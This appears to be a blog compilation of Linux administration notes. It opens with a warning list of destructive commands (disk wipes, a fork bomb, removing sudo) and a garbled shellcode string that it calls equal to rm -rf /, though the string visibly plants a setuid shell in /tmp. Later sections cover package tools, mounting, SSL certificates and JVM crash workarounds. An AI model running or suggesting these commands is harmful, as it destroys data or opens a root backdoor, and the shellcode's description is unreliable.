Linux lethal commands

In this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.

NEVER RUN THESE COMMANDS IN LINUX BOX CLI!

Even if somebody advises you in forum/im to do it.

1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:

  • sudo rm -rf /
  • rm -rf .*
  • dd if=/dev/zero of=/dev/sda
  • mkfs.ext3 /dev/hda
  • whatever > /dev/hda
  • cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
  • find -type f -mtime +30 -exec mv {} /dev/null ;
  • mv ~ /dev/null
  • mv / /dev/null

2. Causes kernel panic or freezes Linux box:

  • dd if=/dev/random of=/dev/port
  • :(){:|:&};: #also known as fork bomb

3. This one does the same as “rm -rf /”:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
“x6ex2fx73x68x00x2dx63x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

4. This one will prevent you from executing commands with root rights:

rm -f /usr/bin/sudo;rm -f /bin/su

If you know any other commands that can damage running Linux system or pose fatal problem to system administrators — just comment it here so I could update this post. Thanks.

Using RPM and dpkg

The /bin/rpm program on Red Hat and derivitives and the /usr/bin/dpkg on
Debian and derivitives are used to control the management of packages.
• Remove a package
# rpm -e <package-name>
# dpkg -r <package-name>
• List contents of entire package
# rpm -qvl <package-name.rpm>
# dpkg -c <package-name.deb>
• List all installed packages with info about each
# rpm -qvia
# dpkg -l
• List contents of a package
# rpm -qvpl <package-name.rpm>
# dpkg -c <package-name.deb>
• Print information about a package
# rpm -qpi <package-name.rpm>
# dpkg -I <package-name.deb>
• Verify package characteristics (basic integrity check)
# rpm -Va
# debsums -a
• Determine to which package a file belongs
# rpm -qf </path/to/file>
# dpkg -S </path/to/file>
• Install new package
# rpm -Uvh <package-name.rpm>
# dpkg -i <package-name.deb>

Printing linux commands

/etc/rc.d/init.d/lpd start Start the print daemon
/etc/rc.d/init.d/lpd stop Stop the print daemon
/etc/rc.d/init.d/lpd
status
Display status of the print daemon
lpq Display jobs in print queue
lprm Remove jobs from queue
lpr Print a file
lpc Printer control tool
man subject | lpr Print the manual page called subject
as plain text
man -t subject | lpr Print the manual page called subject
as Postscript output
printtool Start X printer setup interface

Configuration files and what they do

/etc/profile System wide environment variables for
all users.
/etc/fstab List of devices and their associated mount
points. Edit this file to add cdroms, DOS
partitions and floppy drives at startup.
/etc/motd Message of the day broadcast to all users
at login.
etc/rc.d/rc.local Bash script that is executed at the end of
login process. Similar to autoexec.bat in
DOS.
/etc/HOSTNAME Conatins full hostname including domain.
/etc/cron.* There are 4 directories that automatically
execute all scripts within the directory at
intervals of hour, day, week or month.
/etc/hosts A list of all know host names and IP
addresses on the machine.
/etc/httpd/conf Paramters for the Apache web server
/etc/inittab Specifies the run level that the machine
should boot into.
/etc/resolv.conf Defines IP addresses of DNS servers.
/etc/smb.conf Config file for the SAMBA server. Allows
file and print sharing with Microsoft
clients.
/etc/X11/XF86Confi
g
Config file for X-Windows.
~/.xinitrc Defines the windows manager loaded by
X. ~ refers to user’s home directory.

Installing software for Linux

rpm -ihv name.rpm Install the rpm package called name
rpm -Uhv name.rpm Upgrade the rpm package called
name
rpm -e package Delete the rpm package called
package
rpm -l package List the files in the package called
package
rpm -ql package List the files and state the installed
version of the package called
package
rpm -i –force package Reinstall the rpm package called
name having deleted parts of it (not
deleting using rpm -e)
tar -zxvf archive.tar.gz or
tar -zxvf archive.tgz
Decompress the files contained in
the zipped and tarred archive called
archive
./configure Execute the script preparing the
installed files for compiling

Accessing & mounting file systems

mount -t iso9660 /dev/cdrom
/mnt/cdrom
Mount the device cdrom
and call it cdrom under the
/mnt directory
mount -t msdos /dev/hdd
/mnt/ddrive
Mount hard disk “d” as a
msdos file system and call
it ddrive under the /mnt
directory
mount -t vfat /dev/hda1
/mnt/cdrive
Mount hard disk “a” as a
VFAT file system and call it
cdrive under the /mnt
directory
umount /mnt/cdrom Unmount the cdrom

Linux machine Starting, Stopping and restart

shutdown -h now Shutdown the system now and do not
reboot
halt Stop all processes – same as above
shutdown -r 5 Shutdown the system in 5 minutes and
reboot

shutdown -r now Shutdown the system now and reboot

shutdown -r -F now   Force fsck on reboot.

shutdown -r -f now   skip fsck on reboot.

reboot Stop all processes and then reboot – same
as above
startx Start the X system

How to check the installed mod_jk version

2 ways you can do that.

1. Better approach is
# strings /PATH/TO/APACHE/modules/mod_jk.so |grep -i mod_jk
mod_jk.so
mod_jk.c
mod_jk/1.2.18 <-- There you go. 2. If you have that already installed then if you have enable mod_jk log then you can check from that log file or you can do http://Your_SERVER/ApplicationURL/SomeFOLDER/@#@#CS<>>$#$#$% You will get internal serever error over there at the bottom you will get the mod_jk version with apache version. e.g. Apache/2.0.59 (Unix) mod_jk/1.2.28

Steps to create SSL certificate

Change directory to conf/cert of your Apache SSL instance home

Generate key and CSR using the CN as the name of the web-site this apache instance will host. (Check the end of the doc to create csr)

Now you will have to give this CSR to the third party company and purchase the SSL certificate from them.

Steps to follow once we get the signed certificate:

Take the backup of previous certificate and then copy
EntrustSecureServerCA.crt
TrustedSecureCertificateAuthority.crt

ssl_home_ge_com.crt and replace the MY_SERVER1.key ( which gets created from step 3)

Restart the apachessl after all the changes. To use this certificate on other server2 , copy all the certificates there and rename MY_SERVER1.key to MY_SERVER2.key )

# openssl req -new -nodes -keyout MY_SERVER1.key -out MY_SERVER1csr

Crash in HotSpot Compiler Thread or Compiled Code

If the fatal error log indicates that the crash occurred in a compiler thread, then it is possible (but not always the case) that you have encountered a compiler bug. Similarly, if the crash is in compiled code then it is possible that the compiler has generated incorrect code.

In the case of the HotSpot Client VM (-client option), the compiler thread appears in the error log as CompilerThread0. With the HotSpot Server VM there are multiple compiler threads and these appear in the error log file as CompilerThread0, CompilerThread1, and AdapterThread.

Below is a fragment of an error log for a compiler bug that was encountered and fixed during the development of J2SE 5.0. The log file shows that the HotSpot Server VM is used and the crash occurred in CompilerThread1. In addition, the log file shows that the Current CompileTask was the compilation of the java.lang.Thread.setPriority method.

# An unexpected error has been detected by HotSpot Virtual Machine:
#
:
# Java VM: Java HotSpot(TM) Server VM (1.5-internal-debug mixed mode)
:
---------------  T H R E A D  ---------------

Current thread (0x001e9350): JavaThread "CompilerThread1" daemon [_thread_in_vm, id=20]

Stack: [0xb2500000,0xb2580000),  sp=0xb257e500,  free space=505k
Native frames: (J=compiled Java code, j=interpreted, Vv=VM code, C=native code)
V  [libjvm.so+0xc3b13c]
:

Current CompileTask:
opto: 11      java.lang.Thread.setPriority(I)V (53 bytes)

---------------  P R O C E S S  ---------------

Java Threads: ( => current thread )
  0x00229930 JavaThread "Low Memory Detector" daemon [_thread_blocked, id=21]
=>0x001e9350 JavaThread "CompilerThread1" daemon [_thread_in_vm, id=20]
 :

In this case there are two potential workarounds:

  • The brute force approach: change the configuration so that the application is run with the -client option to specify the HotSpot Client VM.
  • Assume that the bug only occurs during the compilation of the setPriority method and exclude this method from compilation.

The first approach (to use the -client option) might be trivial to configure in some environments. In others, it might be more difficult if the configuration is complex or if the command line to configure the VM is not readily accessible. In general, switching from the HotSpot Server VM to the HotSpot Client VM also reduces the peak performance of an application. Depending on the environment, this might be acceptable until the actual issue is diagnosed and fixed.

The second approach (exclude the method from compilation) requires creating the file .hotspot_compiler in the working directory of the application. Below is an example of this file:

exclude    java/lang/Thread    setPriority

In general the format of this file is exclude CLASS METHOD, where CLASS is the class (fully qualified with the package name) and METHOD is the name of the method. Constructor methods are specified as <init> and static initializers are specified as <clinit>.


Note – The .hotspot_compiler file is an unsupported interface. It is documented here solely for the purposes of troubleshooting and finding a temporary workaround.


Once the application is restarted, the compiler will not attempt to compile any of the methods listed as excluded in the .hotspot_compiler file. In some cases this can provide temporary relief until the root cause of the crash is diagnosed and the bug is fixed.

In order to verify that the HotSpot VM correctly located and processed the .hotspot_compiler file that is shown in the example above, look for the following log information at runtime. Note that the file name separator is a dot, not a slash.

### Excluding compile:    java.lang.Thread::setPriority